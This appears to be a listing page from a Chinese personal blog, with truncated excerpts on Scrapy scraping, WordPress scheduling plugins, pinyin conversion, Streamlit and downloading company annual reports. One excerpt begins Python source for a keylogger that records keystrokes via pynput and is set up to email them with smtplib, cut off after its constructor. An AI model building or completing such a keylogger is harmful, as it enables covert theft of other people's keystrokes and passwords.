本文知识点：
1、复习了类的写法。
2、复习了scrapy先大范围取数，然后for循环取每一个item的用法。取大范围值的时候，在python中print不出来也没有问题，比如本文中的node_list，for循化中可以取出就可以了。
3、学习了写入Mysql时自动生成时间的方法。
4、学习了xpaht中的“.//”、“./”的写法。
5. Mysql避免数据重复插入……
站长网关键词采集（爬虫）
0
互联网
关于互联网上七大姑，八大姨的一些九卦。
密码保护：一个日IP3万+的网站
0
今天无意中发现了一个日IP3万+的个人网站，而且是采集站，不过毕竟牵涉到别人的操作手法问题，所以文章就不公开了。
首先看一下成果吧！
一、注册时间
有6年了，不是新站。
不过没有查看archive。
二、聚合页
然后他也做了许多的聚合页。不过打开他的聚合页里面的标题，不是跳到另外一个聚合页面，而是指向的真实的网……
密码保护：网站开发：台骑网（一）
0
一、对数据的估计
假设10万张图片，每张图片平均50k，那么：
10万*1024k/20 = 10万M /20 = 10万/1024 /20 = 5G
与百度出来的结果一样：
1(gb)=1048576(kb)
1048576/50=20971 即1GB可以存放约2万张50k的图片。
看看阿里云轻量级服务器：
二、可参考模板
首页：https://www.meituan.com/
城市首页：
https://gz.meituan.c……
WordPress定时发布文章插件Auto Post
0
发现之前自己用的一款定时发布草稿箱中文章的插件：Drafts Scheduler在wordpress后台竟然搜索不到了。没办法，只好重新找一款新的。后来在wordpress搜索，找到了一款最近还在更新的插件。
一、Auto Post Scheduler
最后用了这款，亲测可用。
其实关键是设定好下面这几个地方：
然后点一下那个“enable Auto Post Schedule……
密码保护：开发（四）列表网开发（二）
0
一、汉字转拼音
import xlrd
import xlwt
import pypinyin
def hp(word):
s = ''
for i in pypinyin.pinyin(word, style=pypinyin.NORMAL):
s += ''.join(i)
return s
#读取文件
workbook = xlrd.open_workbook(r'city.xlsx')
sheet2 = workbook.sheet_by_index(0) # sheet索引从0……
密码保护：网站开发（三）服装网站开发笔记（二）
0
一、图片问题
注意，发布图片的时候，需要在后台将网址的固定链接改成如下的形式，否则图片会无法显示。在文章页中也显示http://www.xxx.com/2008/03/xx.jpg这样的形式。
二、关于重复文章
wordpress文章标题重复，是可以发布成功的。
三、关于目录
目录不需要提前建立，在wordpress xmlprc发布的时候直接输入目录名称，……
网站开发（六）财务网开发之四（修改模板）
0
一、修改模板
问题：发现网站在百度显示的所有标题都是“xx网__详情页”，seo非常不友好。于是今天想着作一下更改。之前拖延症犯了，一直没有弄，今天弄了一下，其实几分钟就好了。
1.本地修改模板文件。
2.用xshell将文件上传。
路径是/home/server/py/zanhu.
3.在宝塔里面重启服务。
4.刷新页面，发现已经成功了。
Python项目Keylogger（定时器）
0
一、代码
keylogger.py文件
#!/usr/bin/env python
import smtplib
import threading
from pynput import keyboard
# Create Keylogger Class
class KeyLogger:
# Define __init__ variables
def __init__(self, time_interval, email, password):
self.interval = time_interva……
streamlit 备忘
0
一、streamlit介绍
今天无意中看到一款叫streamlit 的东西，看它的介绍是“Streamlit是第一个专门针对机器学习和数据科学团队的应用 开发框架”，我看了一下它的使用，发现自己以后可能用得着。对于我来说，这个框架的作用就在于不使用django的情况下，实现一些数据的网页呈现，说说自己以后可能用到的两个场影吧！
1.量化……
如何下载上市公司年报
0
一、高速公路公司名单
http://summary.jrj.com.cn/hybk/400128959.shtml
http://data.eastmoney.com/bkzj/421.html
二、下载数据
网址：http://www.sse.com.cn/disclosure/listedinfo/regular/
深市：
http://www.szse.cn/disclosure/listed/fixed/index.html
三、源码下载
#coding:utf-8
import re
import urllib.……